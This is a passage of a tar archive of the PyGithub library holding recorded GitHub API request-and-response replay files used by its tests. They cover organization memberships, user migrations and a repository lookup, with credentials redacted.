././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Membership.setUp.txt0000644000175100001660000000410414756101563022110 0ustar00runnerdockerhttps GET api.github.com None /user/memberships/orgs/github {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"75740284d989e9a492e32f435cff48ac"'), ('date', 'Sat, 16 Apr 2018 20:23:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/orgs/invitocat/memberships/defunkt","state":"pending","role":"admin","organization_url":"https://api.github.com/orgs/invitocat","organization":{"login":"github","id":1,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE=","url":"https://api.github.com/orgs/github","repos_url":"https://api.github.com/orgs/github/repos","events_url":"https://api.github.com/orgs/github/events","hooks_url":"https://api.github.com/orgs/github/hooks","issues_url":"https://api.github.com/orgs/github/issues","members_url":"https://api.github.com/orgs/github/members{/member}","public_members_url":"https://api.github.com/orgs/github/public_members{/member}","avatar_url":"https://github.com/images/error/octocat_happy.gif","description":"A great organization"},"user":{"login":"octocat","id":1,"node_id":"MDQ6VXNlcjE=","avatar_url":"https://github.com/images/error/octocat_happy.gif","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.setUp.txt0000644000175100001660000001721014756101563021750 0ustar00runnerdockerhttps GET api.github.com None /user/migrations {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:18:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1536871398'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"0e6e9ad6d4eb6ea5556826cc673d7145"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.256511'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F2A0:20F9:4E070C:C80BBD:5B9AC60E')] [{"id":25320,"node_id":"MDk6TWlncmF0aW9uMjUzMjA=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"608bceae-b790-11e8-8b43-4e3cb0dd56cc","state":"exported","lock_repositories":false,"exclude":["repositories"],"exclude_attachments":false,"exclude_git_data":false,"exclude_metadata":false,"exclude_owner_projects":false,"exclude_releases":false,"org_metadata_only":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T20:05:35Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25320","archive_url":null,"created_at":"2018-09-14T01:35:35.000+05:30","updated_at":"2018-09-14T01:35:46.000+05:30"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testDelete.txt0000644000175100001660000000223414756101563022752 0ustar00runnerdockerhttps DELETE api.github.com None /user/migrations/25320/archive {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:14:05 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.083770'), ('X-GitHub-Request-Id', 'F9FA:20FB:A7EA64:165BB04:5B9AC50C')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testGetArchiveUrlWhenDeleted.txt0000644000175100001660000000254114756101563026366 0ustar00runnerdockerhttps GET api.github.com None /user/migrations/25320/archive {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:17:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.048286'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06B:20FA:80A9D5:128E928:5B9AC5E6')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testGetArchiveUrlWhenExported.txt0000644000175100001660000000405214756101563026611 0ustar00runnerdockerhttps GET api.github.com None /user/migrations/25320/archive {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:11:00 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '470'), ('Status', '302 Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1536871398'), ('location', 'https://github-cloud.s3.amazonaws.com/migration/25320/24575?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20180913%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180913T201100Z&X-Amz-Expires=300&X-Amz-Signature=a0aeb638facd0c78c1ed3ca86022eddbee91e5fe1bb48ee830f54b8b7b305026&X-Amz-SignedHeaders=host&actor_id=41840111&response-content-disposition=filename%3D608bceae-b790-11e8-8b43-4e3cb0dd56cc.tar.gz&response-content-type=application%2Fx-gzip'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.066845'), ('X-GitHub-Request-Id', '72DA:20F9:4DC6B3:C7706A:5B9AC453')] https://github-cloud.s3.amazonaws.com/migration/25320/24575?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20180913%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180913T201100Z&X-Amz-Expires=300&X-Amz-Signature=a0aeb638facd0c78c1ed3ca86022eddbee91e5fe1bb48ee830f54b8b7b305026&X-Amz-SignedHeaders=host&actor_id=41840111&response-content-disposition=filename%3D608bceae-b790-11e8-8b43-4e3cb0dd56cc.tar.gz&response-content-type=application%2Fx-gzip ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testGetArchiveUrlWhenNotExported.txt0000644000175100001660000000254114756101563027273 0ustar00runnerdockerhttps GET api.github.com None /user/migrations/25320/archive {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:05:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.047402'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87CF:20FB:A75E84:1648F66:5B9AC312')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testGetStatus.txt0000644000175100001660000001663114756101563023501 0ustar00runnerdockerhttps GET api.github.com None /user/migrations/25320 {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:12:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1536871398'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"1b6bd1349731bdaaccb858dcffbbaba5"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.111059'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '2C86:20F9:4DD21A:C78CC4:5B9AC4A2')] {"id":25320,"node_id":"MDk6TWlncmF0aW9uMjUzMjA=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"608bceae-b790-11e8-8b43-4e3cb0dd56cc","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T20:05:35Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25320","archive_url":"https://api.github.com/user/migrations/25320/archive","created_at":"2018-09-14T01:35:35.000+05:30","updated_at":"2018-09-14T01:35:46.000+05:30"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Migration.testUnlockRepo.txt0000644000175100001660000000225314756101563023632 0ustar00runnerdockerhttps DELETE api.github.com None /user/migrations/25320/repos/sample-repo/lock {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:18:24 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.123605'), ('X-GitHub-Request-Id', '1EA2:20FA:80B1CA:128FAE1:5B9AC610')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Milestone.setUp.txt0000644000175100001660000002727214756101563021767 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 21:49:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"581c439a3aed8bca0c870e7f3ba3b1615b67e161e36dbf91afdf4c180a753f09"'), ('Last-Modified', 'Fri, 03 Jan 2025 18:50:01 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1735944560'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '92F0:4DB83:217F2204:2264C2BD:67785B60')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}